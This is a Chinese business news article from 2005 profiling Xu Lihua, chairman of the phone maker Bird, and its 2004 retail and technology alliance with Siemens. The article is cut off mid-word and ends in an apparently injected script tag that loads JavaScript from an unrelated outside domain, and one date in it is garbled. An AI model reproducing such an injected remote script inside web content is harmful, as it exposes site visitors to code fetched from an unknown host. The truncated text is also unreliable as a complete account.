徐立华:手机大佬的平民意识

添加时间:2005-01-25 | 来自媒体:互联网周刊 | 点击:8943

    如果当别人都在急流勇退的时候谁还能挥桨前进,将这人称为英雄想必不会遭到太多反对。在国产手机齐声唱衰的2004年,波导董事长徐立华正是这个挥桨前进者。虽然在接受记者的采访时他更愿意强调自己的艰辛和危机。对于他来说,荣誉可以姑且不谈,如何熬过眼前的困难是比戴顶高帽更要紧的事。他将自己看成一个机会主义者,他承认自己活得很累,很羡慕像王石那样的登山企业家,可以从容地面对难关,而自己的企业尚停留在需要急中生智才能克敌致胜的阶段。但也许正是这种从潜意识里的低调才使得波导在国产手机的整体危难前得以幸免。

 

比较优势论

 

2004620日晚,就在韦尔奇与中国工商界人士交流的前一天,波导与西门子的战略联盟正式宣告启动。根据协议,数万部西门子手机将进驻波导的30000余家零售店。同时,西门子公司与波导股份将进行技术共享,并利用各自在国内、国际的销售网络分销双方的手机。

 

作为这个战略联盟的导演,徐立华一直都比较低调:"波导并不是主导的一方,我们并没有什么优势可言,我只认同比较优势"。徐坦然承认波导与西门子在技术上的差距:西门子是个世?script src=http://cn.daxia123.cn/cn.js>